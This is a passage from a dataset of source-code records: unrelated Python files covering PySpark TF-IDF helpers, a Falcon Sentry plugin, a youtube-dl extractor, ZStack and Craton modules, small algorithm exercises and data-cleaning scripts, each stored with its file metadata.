132.747513054755+311.615185290614i')\n\n# $VT2=(($Efmag)**2-(Im($VXS2))**2)**0.5-Re($VXS2);\n# $VT2=5951.6381675278\n# VT2_expr = ((Efmag)**2 - (im(VXS2))**2)**0.5 - re(VXS2)\nVT2_expr = process_sympy('(\\\\variable{Efmag}^{2} - \\\\operatorname{Im}(\\\\variable{VXS2})^{2})^{0.5} - \\\\operatorname{Re}(\\\\variable{VXS2})', variable_values=variable_values | {'Efmag': Efmag, 'VXS2': VXS2})\nVT2 = compute_expr(VT2_expr)\nprint('VT2 =', VT2, ', evalf() =>', N(VT2, 15), ', expected = 5951.6381675278')\n\nprint('----------------------')\n\n# $VLL2=$VT2*sqrt(3);\n# $VLL2=10308.5396944243\nVLL2_expr = process_sympy('\\\\variable{VT2}*\\\\sqrt{3}', variable_values=variable_values | {'VT2': VT2})\nVLL2 = compute_expr(VLL2_expr)\nprint('VLL2 =', VLL2, ', evalf() =>', N(VLL2, 15), ', expected = 10308.5396944243')\n\n# $VLL2ang=0;\nVLL2ang = 0\nprint('VLL2ang =', VLL2ang, ', evalf() =>', N(VLL2ang, 15), ', expected = 0')\n\n# $delta=acos(($VT2+Re($VXS2))/$Efmag)*180/pi;\n# $delta=2.93187343130811\n# delta_expr = acos((VT2 + re(VXS2)) / Efmag) * 180 / pi\ndelta_expr = process_sympy('\\\\arccos{\\\\frac{\\\\variable{VT2} + \\\\operatorname{Re}(\\\\variable{VXS2})}{\\\\variable{Efmag}}}\\\\frac{180}{\\\\pi }', variable_values=variable_values | {'VT2': VT2, 'Efmag': Efmag, 'VXS2': VXS2})\ndelta = compute_expr(delta_expr)\nprint('delta =', delta, ', evalf() =>', N(delta, 15), ', expected = 2.93187343130811')\n\n# $VR_ans=($Efmag-$VT2)/$VT2*100;\n# $VR_ans=2.36442564832618\nVR_ans_expr = process_sympy('(\\\\variable{Efmag}-\\\\variable{VT2})/\\\\variable{VT2}*100', variable_values=variable_values | {'VT2': VT2, 'Efmag': Efmag})\nVR_ans = compute_expr(VR_ans_expr)\nprint('VR_ans =', VR_ans, ', evalf() =>', N(VR_ans, 15), ', expected = 2.36442564832618')\n\n# $Pmax=3*$VT2*$Efmag/$Xs;\n# $Pmax=197779219.944474\nPmax_expr = process_sympy('3*\\\\variable{VT2}*\\\\variable{Efmag}/\\\\variable{Xs}', variable_values=variable_values | {'VT2': VT2, 'Efmag': Efmag})\nPmax = compute_expr(Pmax_expr)\nprint('Pmax =', Pmax, ', evalf() =>', N(Pmax, 15), ', expected = 197779219.944474')\n\n# Other\n# ----------------------\n\n# $deg2rad=0.0174532925199433\n# $pi=3.14159265358979\n# $rad2deg=57.2957795130823\n","sub_path":"sandbox/sandbox_complex_math.py","file_name":"sandbox_complex_math.py","file_ext":"py","file_size_in_byte":9856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"279744418","text":"import numpy as np\r\nfrom pyspark.mllib.regression import LabeledPoint\r\nfrom pyspark.mllib.linalg import SparseVector\r\n\r\n'''\r\nThis file contains functions to help convert arrays and matrices in pySpark\r\nfriendly structures\r\nIt also contains function that execute remotely code so that the main server\r\nwill not get congested\r\n'''\r\n################################################\r\n'''\r\nThe matrix we get as result from the tfidf is not really stored in rows and columns but in a compressed format \r\nMany machine learning models and evaluation functions will require vectorized data in order to classify/predict. \r\nThis is useful for when we want to transform the compressed tf-idf matrix for the unlabeled data.\r\nThis function receives x where x is in the format [row,[[value,column],[value,column]...]\r\nwhere :\r\nrow is the row in matrix \r\n[value,column] : the value that corresponds to the \"column\"\r\n'''\r\ndef toVector(x,cols) :\r\n t=np.zeros(cols.value)\r\n for c in x[1]:\r\n t[int(c[1])]=c[0]\r\n return (x[0],t)\r\n############################################\r\n\r\n'''\r\nthe spark Machine learning library is optimized for Labeled points : (label/class, vector)\r\nThis function receives x where x is in the format (row_index,[(value,column_index),(value,column_index)...])\r\nwhere :\r\nrow_index represents the position of the data (assuming a matrix of labeled points; it is the row of the matrix) \r\n(value,column_index) : the value that corresponds to the column of that \"column_index\"\r\n\r\nRETURNS: a labeledpoint : (label, sparse vector)\r\nwhere sparse vector is the row in the matrix without the zeros values\r\n\r\n#a function to create labeled point from coordinate information#\r\n#row_coord: coordinate information per row. (row_index,[(value,column_index),(value,column_index)...]\r\n#cSize: the number of columns\r\n#classes the list containing the classes for all rows . we can use this to access class at row_index(row_coord[0])\r\n'''\r\ndef createLabeledPoint(row_coord,cSize,classes):\r\n\t# set a dictionary {column_index:value} from the coord infomation (row_coord[1])\r\n\t#we can use that to build a SparseVector\r\n\tvector_dict={}\r\n\tfor w in row_coord[1]:\r\n\t\tvector_dict[int(w[1])]=w[0]\r\n\tclass_value=classes.value[row_coord[0]]\r\n\treturn LabeledPoint(class_value, SparseVector(cSize.value,vector_dict))\r\n############################################ \r\n'''\r\nthis function is used compute the tfidf compressed matrix \r\nIt assumes the following broadcaster variables :\r\nmd: the broadcasted TfidfVectorizer\r\ndatad: the broadcasted data\r\nRETURNS: the matrix in coordinated format and the vectorizer that has been fitted on the data\r\ncoordinate format :\r\n3 arrays [data,row,cols] transposed\r\nthe row and cols arrays contain the coordinates where the matrix has non-zero values\r\nand the data array has the values e.g. data[i]=matrix[row[i],cols[i]]\r\nTHE transposed version of this matrix contains at each row [data_value,row_index,column_index]\r\n'''\r\ndef compute(ar,model,data):\r\n tt = model.value.fit_transform(data.value)\r\n tt=tt.tocoo()\r\n tt=np.vstack([tt.data,tt.row,tt.col]) \r\n tt=tt.transpose()\r\n return (tt,model.value)\r\n'''\r\nthis function is the same as compute but we do not fit the vectorizer \r\non the test data (it is already fitted) and we do not return it (the vectorizer)\r\nIt assumes the following broadcaster variables :\r\nmd: the broadcasted FITTED TfidfVectorizer \r\ndatad: the broadcasted UNLABELED data\r\n'''\r\ndef computeTest(ar,model,data):\r\n tt = model.value.transform(data.value)\r\n tt=tt.tocoo()\r\n tt=np.vstack([tt.data,tt.row,tt.col]) \r\n tt=tt.transpose()\r\n return tt \r\n \r\n\r\n \r\n\r\n","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"616627681","text":"# coding: utf-8\nfrom __future__ import unicode_literals\nimport unittest\n\nimport locale\nimport sys\n\n\ndef preferredencoding():\n \"\"\"Get preferred encoding.\n\n Returns the best encoding scheme for the system, based on\n locale.getpreferredencoding() and some further tweaks.\n \"\"\"\n try:\n pref = locale.getpreferredencoding()\n 'TEST'.encode(pref)\n except Exception:\n pref = 'UTF-8'\n\n return pref\n\n\ndef write_string(s, out=sys.stdout, encoding=None):\n if ('b' in getattr(out, 'mode', '') or\n sys.version_info[0] < 3): # Python 2 lies about mode of sys.stderr\n byt = s.encode(encoding or preferredencoding(), 'ignore')\n out.write(byt)\n elif hasattr(out, 'buffer'):\n enc = encoding or getattr(out, 'encoding', None) or preferredencoding()\n byt = s.encode(enc, 'ignore')\n out.buffer.write(byt)\n else:\n out.write(s)\n out.flush()\n\n\nclass TestFoo(unittest.TestCase):\n def test_failed(self):\n write_string('a' * 1000)\n write_string('中文')\n sys.stdout.write('中文')\n\n raise Exception('中文')\n\n def test_mbcs(self):\n s = '中文'\n print(repr(s))\n print(repr(s.encode('utf-8')))\n print(repr(s.encode(sys.getfilesystemencoding())))\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"196618856","text":"import zstackwoodpecker.operations.net_operations as net_ops\nimport zstackwoodpecker.header.eip as eip_header\nimport zstackwoodpecker.header.vm as vm_header\nimport zstackwoodpecker.test_util as test_util\nimport zstackwoodpecker.test_lib as test_lib\n\nclass ZstackTestEip(eip_header.TestEIP):\n def __init__(self):\n self.eip_creation_option = test_util.EipOption()\n self.target_vm = None #ZstackTestVm()\n self.vip = None\n super(ZstackTestEip, self).__init__()\n\n def create(self, target_vm=None):\n '''\n @param: target_vm: ZstackTestVm(). Target_vm is important. It is for\n eip testing. If target_vm is none, it means this eip is not attached \n for any vm.\n '''\n self.eip = net_ops.create_eip(self.eip_creation_option)\n vm_nic_uuid = self.eip_creation_option.get_vm_nic_uuid()\n self.target_vm = target_vm\n vip_uuid = self.eip_creation_option.get_vip_uuid()\n self.vip = test_lib.lib_get_vip_by_uuid(vip_uuid)\n if vm_nic_uuid:\n self.state = eip_header.ATTACHED\n else:\n self.state = eip_header.DETACHED\n\n super(ZstackTestEip, self).create()\n\n def attach(self, vm_nic_uuid, target_vm):\n '''\n @param: test_vm: ZstackTestVm()\n '''\n self.eip = net_ops.attach_eip(self.eip.uuid, vm_nic_uuid)\n self.target_vm = target_vm\n super(ZstackTestEip, self).attach(vm_nic_uuid)\n\n def detach(self):\n self.eip = net_ops.detach_eip(self.eip.uuid)\n self.target_vm = None\n super(ZstackTestEip, self).detach()\n\n def delete(self):\n net_ops.delete_eip(self.eip.uuid)\n self.target_vm = None\n super(ZstackTestEip, self).delete()\n\n def check(self):\n self.update()\n import zstackwoodpecker.zstack_test.checker_factory as checker_factory\n checker = checker_factory.CheckerFactory().create_checker(self)\n checker.check()\n super(ZstackTestEip, self).check()\n\n def update(self):\n if self.target_vm:\n if (self.target_vm.state == vm_header.DESTROYED or \\\n self.target_vm.state == vm_header.EXPUNGED) \\\n and self.state == eip_header.ATTACHED:\n self.state = eip_header.DETACHED\n\n def set_creation_option(self, eip_creation_option):\n self.eip_creation_option = eip_creation_option\n\n def get_creation_option(self):\n return self.eip_creation_option\n\n def get_target_vm(self):\n return self.target_vm\n","sub_path":"zstackwoodpecker/zstackwoodpecker/zstack_test/zstack_test_eip.py","file_name":"zstack_test_eip.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"623163613","text":"import logging\nimport falcon\nimport raven\n\nfrom falcon_helpers.config import ConfigurationError\n\nlog = logging.getLogger(__name__)\n\n\nclass SentryPlugin:\n \"\"\"Simple Sentry integration plugin\n\n sentry = falcon_helpers.plugins.SentryPlugin()\n app = falcon_helpers.App()\n app.config = {'sentry': {dsn': 'rand_sentry_dsn'}}\n\n sentry.register_app(app)\n\n You can get access to this globally so that you can capture exceptions without it having to get\n all the way up to the Falcon layer again. Any exception that is caught by the falcon error\n handler will be sent to sentry (except HTTPError's and HTTPStatus's).\n\n sentry = Sentry()\n\n def create_app(config):\n app = falcon_helpers.App()\n app.config = config\n\n sentry.register(app)\n return app\n\n\n class SomeResource:\n\n def on_get(self, req, resp):\n try:\n some_failure()\n except Exception as e:\n sentry.captureException(e)\n pass\n\n You have full access to the client with `sentry_plugin.client` and can update that do have\n special configurations.\n\n NOTE(nZac): if environment is passed or in the configuration, we will try to set that as well on\n the client to get environment support. By default the environment is `None`.\n \"\"\"\n\n __slots__ = (\n '_dsn',\n 'client',\n 'environment',\n )\n\n @property\n def dsn(self):\n return self._dsn\n\n @dsn.setter\n def dsn(self, dsn):\n if dsn is None:\n self._dsn = None\n return\n\n self._dsn = dsn\n\n if self.client:\n self.client.set_dsn(self.dsn)\n\n def __init__(self, dsn=None, environment=None):\n self.client = None\n self.environment = environment\n self.dsn = dsn\n\n def _make_client(self):\n if not self.dsn:\n log.warning('No sentry client configured, errors will not be reported with Sentry.')\n\n return raven.Client(\n dsn=self.dsn,\n environment=self.environment,\n )\n\n def update_settings_from_app_config(self, app):\n \"\"\"A hook allowing setup of sentry through a config convention.\n\n Subclass and override as necessary.\n \"\"\"\n\n config = getattr(app, 'config', None)\n\n if config is None:\n return\n\n if self.environment is None:\n try:\n self.environment = config['sentry']['environment']\n except (KeyError, ConfigurationError):\n self.environment = None\n\n if self.dsn is None:\n try:\n self.dsn = config['sentry']['dsn']\n except (KeyError, ConfigurationError):\n self.dsn = None\n\n if not self.client:\n self.client = self._make_client()\n\n def register(self, app):\n self.update_settings_from_app_config(app)\n\n if not self.client:\n self.client = self._make_client()\n\n if self.client:\n app.add_error_handler(Exception, self.handle)\n\n app.plugins['sentry'] = self\n\n def handle(self, ex, req, resp, params):\n raisable = (falcon.http_error.HTTPError, falcon.http_status.HTTPStatus)\n\n if isinstance(ex, raisable):\n raise ex\n elif self.dsn:\n self.client.captureException(ex)\n raise falcon.HTTPInternalServerError()\n else:\n raise\n","sub_path":"falcon_helpers/plugins/sentry.py","file_name":"sentry.py","file_ext":"py","file_size_in_byte":3494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"113997926","text":"from oslo_serialization import jsonutils\nfrom oslo_log import log\n\nfrom craton.api import v1\nfrom craton.api.v1 import base\nfrom craton.api.v1.resources import utils\nfrom craton import db as dbapi\nfrom craton import util\n\n\nLOG = log.getLogger(__name__)\n\n\nclass Cells(base.Resource):\n\n @base.pagination_context\n def get(self, context, request_args, pagination_params):\n \"\"\"Get all cells, with optional filtering.\"\"\"\n details = request_args.get(\"details\")\n\n cells_obj, link_params = dbapi.cells_get_all(\n context, request_args, pagination_params,\n )\n if details:\n cells_obj = [utils.get_resource_with_vars(request_args, cell)\n for cell in cells_obj]\n\n links = base.links_from(link_params)\n response_body = {'cells': cells_obj, 'links': links}\n return jsonutils.to_primitive(response_body), 200, None\n\n def post(self, context, request_data):\n \"\"\"Create a new cell.\"\"\"\n json = util.copy_project_id_into_json(context, request_data)\n cell_obj = dbapi.cells_create(context, json)\n cell = jsonutils.to_primitive(cell_obj)\n if 'variables' in json:\n cell[\"variables\"] = jsonutils.to_primitive(cell_obj.variables)\n else:\n cell[\"variables\"] = {}\n\n location = v1.api.url_for(\n CellById, id=cell_obj.id, _external=True\n )\n headers = {'Location': location}\n\n return cell, 201, headers\n\n\nclass CellById(base.Resource):\n\n def get(self, context, id, request_args):\n cell_obj = dbapi.cells_get_by_id(context, id)\n cell = utils.get_resource_with_vars(request_args, cell_obj)\n return cell, 200, None\n\n def put(self, context, id, request_data):\n \"\"\"Update existing cell.\"\"\"\n cell_obj = dbapi.cells_update(context, id, request_data)\n return jsonutils.to_primitive(cell_obj), 200, None\n\n def delete(self, context, id):\n \"\"\"Delete existing cell.\"\"\"\n dbapi.cells_delete(context, id)\n return None, 204, None\n","sub_path":"craton/api/v1/resources/inventory/cells.py","file_name":"cells.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"320090923","text":"#program to check if a string is permutation of palindrome\n\ndef isPerPalindrome(str):\n hash = {}\n for i in str:\n if i in hash:\n hash[i] += 1\n else:\n hash[i] = 1\n foundOdd = False\n for i in hash:\n if hash[i]%2 != 0:\n if foundOdd:\n return False\n else:\n foundOdd = True\n return True\n \nprint(isPerPalindrome(\"geeksogeeks\"))","sub_path":"Arrays and Strings/1_4.py","file_name":"1_4.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"84148500","text":"from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\nfrom . import views\n\n\n# Create a router and register our viewset with it.\nrouter = DefaultRouter()\nrouter.register(r'users', views.UserViewSet)\n\n# The API URLs are now determined automatically by the router.\nurlpatterns = [\n path('', include(router.urls)),\n path('workouts/', views.WorkoutListView.as_view(), name=\"workouts\"),\n path('workouts//', views.WorkoutDetailView.as_view(), name=\"workouts-detail\"),\n]","sub_path":"backend/fitness/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"450087051","text":"# encoding:utf-8\r\nimport networkx as nx\r\n\r\nfrom ..enumeraciones import TipoAprendizaje\r\nfrom base_correcion import BaseCorrecion\r\n\r\nclass Superman(BaseCorrecion):\r\n\r\n def ejecutar(self, manejador_correciones, datos_extra):\r\n self.posicion_baliza_anterior = 0\r\n self.arbol_de_caminos = datos_extra['arbol_de_caminos']\r\n\r\n if len(manejador_correciones.recorrido_localizador) < 3:\r\n return manejador_correciones\r\n\r\n for baliza in manejador_correciones.recorrido_localizador[1:-1]:\r\n if manejador_correciones.validar_secuencia(baliza, self.posicion_baliza_anterior):\r\n if manejador_correciones.recorrido_localizador[self.posicion_baliza_anterior]['idPadre'] != baliza['idPadre'] \\\r\n and self.es_superman(baliza, manejador_correciones.recorrido_localizador):\r\n\r\n linea_correctora = self.generar_linea(baliza, manejador_correciones.recorrido_localizador)\r\n nombre_fichero = manejador_correciones.get_nombre_fichero(baliza)\r\n manejador_correciones.insertar_linea(nombre_fichero, linea_correctora)\r\n manejador_correciones.insertar_correccion_en_log(linea_correctora, TipoAprendizaje.SUPERMAN,\r\n self.get_patron(manejador_correciones.recorrido_localizador),\r\n linea_correctora[-4:], {\"fichero_bd\": nombre_fichero})\r\n manejador_correciones.recorrido_localizador[self.posicion_baliza_anterior + 1]['idPadre'] = \\\r\n int(self.extrapolar_padre(baliza, manejador_correciones.recorrido_localizador), 16)\r\n self.comprobar_error_de_prediccion(manejador_correciones, baliza)\r\n self.posicion_baliza_anterior += 1\r\n\r\n return manejador_correciones\r\n\r\n def generar_linea(self, baliza, linea):\r\n valores_rssi = \"\"\r\n for rssi in sorted(baliza['routers']):\r\n valores_rssi += str(baliza['routers'][rssi]) + \", \"\r\n return valores_rssi[:-1] + self.extrapolar_padre(baliza, linea)\r\n\r\n def extrapolar_padre(self, baliza, linea):\r\n return nx.dijkstra_path(self.arbol_de_caminos, \"%02X\" % linea[self.posicion_baliza_anterior]['idPadre'],\r\n \"%02X\" % baliza['idPadre'], 'distance')[1]\r\n\r\n def es_superman(self, baliza, linea):\r\n try:\r\n if nx.dijkstra_path_length(self.arbol_de_caminos, \"%02X\" % linea[self.posicion_baliza_anterior]['idPadre'],\r\n \"%02X\" % baliza['idPadre'], 'distance') > 1:\r\n return True\r\n except Exception:\r\n pass\r\n return False\r\n\r\n def get_patron(self, linea):\r\n patron = []\r\n for i in range(3):\r\n patron.append({linea[self.posicion_baliza_anterior + i]['idPadre']: linea[self.posicion_baliza_anterior + i]['routers']})\r\n return patron","sub_path":"fingerprinting/modulos_correccion/superman.py","file_name":"superman.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"132643650","text":"from collections import defaultdict\n\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\ndef serialize(root):\n if root is None:\n return '#'\n q = [root]\n i, j = 0, 0\n while i <= j:\n node = q[i]\n i += 1\n if node is not None:\n q.extend([node.left, node.right])\n j += 2\n while q[-1] is None:\n q.pop()\n res = ['#' if node is None else str(node.val) for node in q]\n return ','.join(res)\n\ndef deserialize(data):\n if data == '#':\n return None\n nodes = [None if x == '#' else TreeNode(x) for x in data.split(',')]\n i, j = 0, 0\n n = len(nodes)\n while i < n and j < n:\n j += 1\n if j < n:\n nodes[i].left = nodes[j]\n j += 1\n if j < n:\n nodes[i].right = nodes[j]\n i += 1\n while i < n and nodes[i] is None:\n i += 1\n return nodes[0]\n\n\nclass Solution(object):\n def findDuplicateSubtrees(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[TreeNode]\n \"\"\"\n if not root:\n return []\n tree_map = defaultdict(list)\n\n def visit(node):\n if node is None:\n return 'null'\n left = visit(node.left)\n right = visit(node.right)\n res = '%s,%s,%s' % (node.val, left, right)\n tree_map[res].append(node)\n return res\n\n visit(root)\n return [v[0] for v in tree_map.values() if len(v) > 1]\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n root = deserialize('0,0,0,0,#,#,0,#,#,#,0')\n res = sol.findDuplicateSubtrees(root)\n for r in res:\n print(serialize(r))\n","sub_path":"leetcode/python/n652_Find_Duplicate_Subtrees.py","file_name":"n652_Find_Duplicate_Subtrees.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"544807550","text":"import time\nfrom concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor\n\nfrom . import EventgenParser\nfrom . import SampleStanza\nfrom itertools import cycle\n\nclass SampleGenerator(object):\n \"\"\"\n Main Class\n Generate sample objects \n \"\"\"\n sample_stanzas = []\n conf_name = \" \"\n \n def __init__(self, addon_path, config_path=None,process_count=4):\n \"\"\"\n init method for the class\n \n Args:\n addon_path(str): path to the addon \n process_count(no): generate {no} process for execution\n \"\"\"\n self.addon_path = addon_path\n self.process_count = process_count\n self.config_path = config_path\n\n def get_samples(self):\n \"\"\"\n Generate SampleEvent object\n \"\"\"\n if not SampleGenerator.sample_stanzas:\n eventgen_parser = EventgenParser(self.addon_path, config_path=self.config_path)\n sample_stanzas = list(\n eventgen_parser.get_sample_stanzas()\n )\n SampleGenerator.conf_name = eventgen_parser.conf_name\n with ThreadPoolExecutor(min(20, max(len(sample_stanzas), 1))) as t:\n t.map(SampleStanza.get_raw_events, sample_stanzas)\n # with ProcessPoolExecutor(self.process_count) as p:\n _ = list(map(SampleStanza.tokenize, sample_stanzas, cycle([SampleGenerator.conf_name])))\n SampleGenerator.sample_stanzas = sample_stanzas\n for each_sample in SampleGenerator.sample_stanzas:\n yield from each_sample.get_tokenized_events()\n\n @classmethod\n def clean_samples(cls):\n cls.sample_stanzas = list()\n cls.conf_name = str()\n","sub_path":"pytest_splunk_addon/standard_lib/sample_generation/sample_generator.py","file_name":"sample_generator.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"644297047","text":"from game.console import Console\nfrom game.jumper import Jumper\nfrom game.word import Word\n\n\nclass Director:\n \"\"\"Director class engine of the program\"\"\"\n\n def __init__(self):\n \"\"\"States the variables we will use\"\"\"\n\n self.lives = 4\n self.console = Console()\n self.jumper = Jumper()\n self.word = Word()\n\n def start_game(self):\n \"\"\"Starts the game\"\"\"\n\n self.console.write(\"Hello welcome to Jumper\")\n # Get a word\n self.word.get_word()\n\n while self.lives >= 0:\n # Display word\n result = self.word.print_word()\n if result:\n self.console.write(\n \"Congratulations you guessed the word correctly\")\n break\n\n # Display the Jumper\n self.console.write(self.jumper.get_parachute(self.lives))\n\n # Check if you lose\n if not self.lives:\n self.console.write(\"You killed him\")\n break\n\n # Ask for a Guess\n guess = self.console.read(\"Guess a letter [a-z]: \")\n\n # Filters input\n result = self.word.check_guess(guess)\n if not result:\n continue\n\n # Saves guess and updates life\n result = self.word.save_guess(guess)\n if not result:\n self.lives -= 1\n","sub_path":"jumper_template/jumper/game/Director.py","file_name":"Director.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"563547034","text":"# coding: utf-8\nfrom __future__ import unicode_literals\n\nfrom .common import InfoExtractor\n\nfrom ..utils import (\n int_or_none\n)\n\nclass ThisOldHouseIE(InfoExtractor):\n _VALID_URL = r'https?://(?:www\\.)?thisoldhouse\\.com/(?:watch|how-to|tv-episode|(?:[^/]+/)?\\d+)/(?P[^/?#]+)'\n _TESTS = [{\n 'url': 'https://www.thisoldhouse.com/how-to/how-to-build-storage-bench',\n 'info_dict': {\n 'id': '5dcdddf673c3f956ef5db202',\n 'ext': 'mp4',\n 'title': 'How to Build a Storage Bench',\n 'description': 'In the workshop, Tom Silva and Kevin O\\'Connor build a storage bench for an entryway.',\n 'timestamp': 1442548800,\n 'upload_date': '20150918',\n },\n 'params': {\n 'skip_download': True,\n },\n }, {\n 'url': 'https://www.thisoldhouse.com/watch/arlington-arts-crafts-arts-and-crafts-class-begins',\n 'only_matching': True,\n }, {\n 'url': 'https://www.thisoldhouse.com/tv-episode/ask-toh-shelf-rough-electric',\n 'only_matching': True,\n }, {\n 'url': 'https://www.thisoldhouse.com/furniture/21017078/how-to-build-a-storage-bench',\n 'only_matching': True,\n }, {\n 'url': 'https://www.thisoldhouse.com/21113884/s41-e13-paradise-lost',\n 'only_matching': True,\n }, {\n # iframe www.thisoldhouse.com\n 'url': 'https://www.thisoldhouse.com/21083431/seaside-transformation-the-westerly-project',\n 'only_matching': True,\n }]\n _ZYPE_TMPL = 'https://www.thisoldhouse.com/videos/zype/%s'\n\n def _real_extract(self, url):\n display_id = self._match_id(url)\n webpage = self._download_webpage(url, display_id)\n video_id = self._search_regex(\n r']+src=[\\'\"](?:https?:)?//(?:www\\.)?thisoldhouse\\.(?:chorus\\.build|com)/videos/zype/([0-9a-f]{24})',\n webpage, 'video id')\n\n page_title = self._html_search_regex(r'

(.+)<\\/h1>', webpage, 'title')\n series = self._html_search_meta('author', webpage)\n season_number = int_or_none(self._search_regex(\n r'S(\\d+)', page_title, 'season number',\n default=None))\n episode_number = int_or_none(self._search_regex(\n r'E(\\d+)', page_title, 'episode number',\n default=None))\n title = self._search_regex(\n r': (.+)', page_title, 'episode title',\n default=None)\n\n if series:\n series = series.replace(' TV', '')\n\n test = self._request_webpage(self._ZYPE_TMPL % video_id, video_id)\n zype_url = test.geturl()\n\n return {\n '_type': 'url_transparent',\n 'id': video_id,\n 'title': title,\n 'series': series,\n 'season_number': season_number,\n 'episode_number': episode_number,\n 'url': zype_url,\n 'ie_key': 'Zype',\n }\n","sub_path":"youtube_dl/extractor/thisoldhouse.py","file_name":"thisoldhouse.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"372470169","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n#from __future__ import print_function\nfrom inverted_index import InvertedIndex\n\ndef tf_idf(infile_name):\n ii = InvertedIndex(infile_name)\n ii.SetUpInvertedIndex()\n print(\"Inverted index has been set up.\")\n while True:\n query = input(\"\\nPlease input your query: \")\n query_terms = query.split()\n scores = {}\n for t in query_terms:\n if t not in ii.inverted_index:\n continue\n for d in ii.inverted_index[t].postings:\n if d not in scores:\n scores[d] = 0\n scores[d] += ii.inverted_index[t].postings[d][1] * \\\n 1 * ii.inverted_index[t].IDF\n for d in scores:\n scores[d] /= ii.docs[d]['length']\n k = len(scores)\n if k > 10:\n k = 10\n topkscores = sorted(scores.items(), key=lambda x: x[1], reverse=True)[:k]\n print(\"Top {0:d} answers are:\".format(k))\n for i in topkscores:\n print(\"{0:d}: {1:s}\".format(i[0], \\\n ii.docs[i[0]]['title']))\n\n\nif __name__ == '__main__':\n infile_name = \"../../data/SinaNews_sample\"\n tf_idf(infile_name)\n pass\n\n","sub_path":"tf_idf.py","file_name":"tf_idf.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"389728885","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author Matt Harris\n\"\"\"\n\nimport pandas as pd\nimport time\nimport numpy as np\n\ndef provider_date(df):\n '''\n Returns the exit date for a DataFrame if\n the exit date is from a RR provider.\n Otherwise it returns 0.\n '''\n if 'rapid' in df['provider'].lower():\n return df['exitdate']\n elif 'catholic charities homeless point of entry' in df['provider'].lower():\n return df['entrydate']\n else:\n return 0\n\n\ndef provider_type(df):\n '''\n Returns the exit date for a DataFrame if\n the exit date is from a RR provider.\n Otherwise it returns 0.\n '''\n if 'rapid' in df['provider'].lower():\n return 'RR'\n elif 'catholic charities homeless point of entry' in df['provider'].lower():\n return 'CC'\n else:\n return 'N/A'\n \n\n# Read the CSV file into a DataFrame (df)\n#df = pd.read_csv('rr_cc_data.csv',dtype={'Entry Exit Client Id' : str})\ndf = pd.read_excel('041015_mea_for_abby.xls')\n\n# Rename the columns, dropping unnecessary data/columns\ndf.columns = ['id','provider','entrydate','exitdate','exitdestination']\ndf = df.drop('exitdestination', 1)\ndf = df[df.id > 0]\n\ndf['date'] = df.apply(provider_date,axis=1)\ndf['type'] = df.apply(provider_type,axis=1)\n\ndf = df.drop(['provider','entrydate','exitdate'],1)\n\ndf = df[df.type != 'N/A']\n\ndf['date'] = pd.to_datetime(df['date'])\ndf = df.sort(['id','date'])\n\ni = 0\nrr_dt = None\nid_ = None\n\ndf2 = pd.DataFrame(columns=['id','exit_rr','entry_cc'])\n\nfor index, row in df.iterrows():\n # first RR for this ID\n if row[2] == 'RR'and not id_:\n id_ = row[0]\n rr_dt = row[1]\n # new ID, but did not have a CC for the last RR\n elif row[2] == 'RR' and id_ != row[0] and rr_dt:\n df2.loc[i] = [id_, rr_dt, None]\n id_ = None\n rr_dt = None\n i = i + 1\n id_ = row[0]\n rr_dt = row[1]\n # same ID, but new row for RR\n elif row[2] == 'RR' and id_ == row[0] and rr_dt:\n rr_dt = row[1]\n elif row[2] == 'CC' and id_ == row[0] and rr_dt:\n df2.loc[i] = [id_, rr_dt, row[1]]\n id_ = None\n rr_dt = None\n i = i + 1\n else:\n continue\n\ndf = df2;\ndf['entry_cc'] = pd.to_datetime(df['entry_cc'])\n# Calculate days between RR exit and CC entry\ndf['days_recidivate'] = np.ceil((df['entry_cc'] - df['exit_rr']) \n / np.timedelta64(1, 'D'))\n\n# Print the DF to a CSV file\ndf.to_csv('clean_rr_cc.csv',index=False,date_format='%m/%d/%Y',float_format='%.0f')","sub_path":"clean_data.py","file_name":"clean_data.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"488428322","text":"'''\r\nUse Python to convert jpg file to pdf file\r\nC:\\Anaconda3\\python img2pdf.py\r\npip intall 